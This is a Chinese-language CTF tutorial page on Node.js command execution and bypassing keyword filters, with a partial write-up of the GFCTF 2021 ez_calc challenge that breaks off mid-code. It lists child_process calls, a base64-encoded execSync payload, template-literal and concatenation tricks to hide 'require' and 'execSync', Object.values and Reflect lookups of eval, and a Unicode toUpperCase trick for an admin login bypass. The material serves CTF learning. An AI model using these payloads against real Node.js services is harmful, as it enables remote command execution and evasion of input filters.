导航菜单
首页 >  ctf真题gogogo  > CTF题型 nodejs(1) 命令执行绕过&典型例题

CTF题型 nodejs(1) 命令执行绕过&典型例题

CTF题型 nodejs(1) 命令执行绕过

文章目录CTF题型 nodejs(1) 命令执行绕过一.nodejs中的命令执行二.nodejs中的命令绕过1.编码绕过2.拼接绕过3.模板字符串4.Obejct.keys5.反射6.过滤中括号的情况典型例题1.[GFCTF 2021]ez_calc2.[西湖论剑 2022]Node Magical Login

一.nodejs中的命令执行

正常的nodejs中命令执行

console.log(global.process.mainModule.require("child_process").execSync("whoami").toString());

动态的一种绕过某些限制(比如模块缓存或包管理器的限制)比如过滤了require的方法

global.process.mainModule.constructor._load("child_process").execSync("whoami")

global.process.mainModule.constructor._load来动态导入child_process模块

nodejs中如何访问属性

用 . 访问对象的属性用 [] 访问属性 二.nodejs中的命令绕过

参考:https://www.anquanke.com/post/id/237032

回顾一下

命令执行的方式

require("child_process").exec("sleep 3");require("child_process").execSync("sleep 3");在Node.js中,当使用child_process模块的execSync方法执行一个命令时,返回的是一个Buffer,而不是一个对象带有stdout属性。因此,尝试访问未定义的stdout属性会导致TypeError回显直接用 .toString()方法require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传argsrequire("child_process").spawn('sleep', ['3']);require("child_process").spawnSync('sleep', ['3']);回显用 .stdout.toString() 往往和payload绑定在一起的require("child_process").execFileSync('sleep', ['3']); 1.编码绕过

16进制绕过 \x61

unicode编码绕过 ”反斜杠+u+码点” \u0061

base64编码绕过

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

这里是对字符操作,就是 被引号或者反引号包裹起来的字符

""''`` 2.拼接绕过

加号拼接 + 拼接

concat拼接

"exe".concat("cSync") 3.模板字符串

nodejs中 `` 等价于 引号

比较特殊的是占位符 ${expression} 可以镶套变量 CTF中可以利用拼接字符串,绕过关键词过滤

`${}`被``包裹`${`${`return proc`}ess`}`=return process

这里总结一下${}拼接的字符串,以便快速使用

process `${`${`proce`}ss`}`prototype`${`${`prototyp`}e`}`get_process`${`${`get_pro`}cess`}`require`${`${`requir`}e`}`execSync`${`${`exe`}cSync`}`return process`${`${`return proc`}ess`}`constructor`${`${`constructo`}r`}`child_process`${`${`child_proces`}s`}` 4.Obejct.keys

实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync

image-20240326170342652

Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

等价于nodejs中的命令执行

5.反射

可以进行模糊调用,实际作用比不上模板字符串

Reflect这个关键字来实现反射调用函数的方式

要得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval

console.log(Reflect.ownKeys(global)) //返回所有函数

console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])//得到eval函数

替换成evconsole.log(global[Reflect.ownKeys(global).find(x=>x.includes('ev'))])也是可以的

image-20240326171348273

也可以替换为console.log(global[Reflect.ownKeys(global).find(x=>x.startsWith('eva'))])注意不是startswith

6.过滤中括号的情况

获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕

Reflect.get(target, propertyKey[, receiver])`的作用是获取对象身上某个属性的值,类似于`target[name]

Reflect.get(global, Reflect.ownKeys(global).find(x => x.includes('eva')))("console.log(\"123\");");执行任意命令

image-20240326172937874

典型例题 1.[GFCTF 2021]ez_calc

image-20240326194648600

保证字符小写不是admin,大写又是ADMIN

考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı会变成I 这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制 同样的"K"的“小写”字符是k,也就是"K".toLowerCase() == ‘k’. 原理参考P牛文章:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

可以成功登录passwd=admin123&username=admın

到我们用F12查看源码时

F12获取的是浏览器解析后的源代码,可能会包含一些动态生成的内容

会发现泄露的源码

let calc = req.body.calc;let flag = false;//waffor (let i = 0; i

相关推荐: